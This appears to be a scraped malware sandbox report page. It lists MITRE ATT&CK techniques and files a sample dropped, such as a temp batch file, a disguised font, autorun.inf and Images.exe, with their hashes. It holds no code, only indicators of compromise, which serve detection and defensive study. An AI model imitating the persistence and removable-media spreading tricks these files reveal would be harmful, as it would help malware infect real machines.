Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\a36437.bat

Filesize
3KB

MD5
ea13fb665acfa6e75394b632fa1e6523

SHA1
09e4cfeb24b1aa352a21e4f4b7efb73219ec903b

SHA256
ae2122655697d9c1c77894b3bcdf6d870620614e96ef225920091e999dc6c1c6

SHA512
6279244a12ef5b2292325579530f18ccc1f5d790382da42375e05edef11a28d09512b07d83de0da910df395cb5795cae10a28129c085b0eea86fe758be3591ba

Download Submit
C:\Windows\Fonts\limons.ttf

Filesize
68KB

MD5
0d65b7b2cfc90e912920cfa0e2e88430

SHA1
0c533e6c185e94ee8650367ea16fb369a28d898f

SHA256
ed14cf918c07ec628d8868c18572015883477e1e756126dfc71940fa32960c7b

SHA512
9e09e46f73cbb69900b9f6fa72fa25e8475b1d39fd0bcc7fe7af194f55ec857a130f77cabf54e30510e08a356cab3069d1f25a2e1199be18afc61c3f19ccd59e

Download Submit
C:\Windows\system\drver.cab.sys

Filesize
96B

MD5
dc22ce8abde6d13e2530b93ad0015fd9

SHA1
92ba8bf75edddd78c4d6976aa70e26fe6eb0b172

SHA256
336219dc0b99c63e07570db99050538f4eb44404fd49009b50502ae0682b2c78

SHA512
a3c12ae0fe0ba67f72201d8e7f40fb027e4291d66efc6e767c51d2ab64cb6ef872f284bd37687ecd7db3591d39fcb4777cefbbe46db4b77b3a9f1bfc628600a0

Download Submit
C:\autorun.inf

Filesize
96B

MD5
dc22ce8abde6d13e2530b93ad0015fd9

SHA1
92ba8bf75edddd78c4d6976aa70e26fe6eb0b172

SHA256
336219dc0b99c63e07570db99050538f4eb44404fd49009b50502ae0682b2c78

SHA512
a3c12ae0fe0ba67f72201d8e7f40fb027e4291d66efc6e767c51d2ab64cb6ef872f284bd37687ecd7db3591d39fcb4777cefbbe46db4b77b3a9f1bfc628600a0

Download Submit
\??\c:\Images.exe

Filesize
64KB

MD5
c73ab617e08027248dc9cc13d6609afd

SHA1
0f3d61baf49e6b13bca366fd8136710db0893cd4

SHA256
a22100bc6b736515f7cbd22bbbf571b8970d241d88b14c19d53433eb94761c49

SHA512
19cd242523b93ae712a2ff7bfbdafba97b768fe3dab16e9be96c8584a10035881ce9b09a833708052dbab1e75e6839fbb2225371bb2909d2210b95c4d5a8405a

Download Submit
memory/2116-203-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2116-132-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads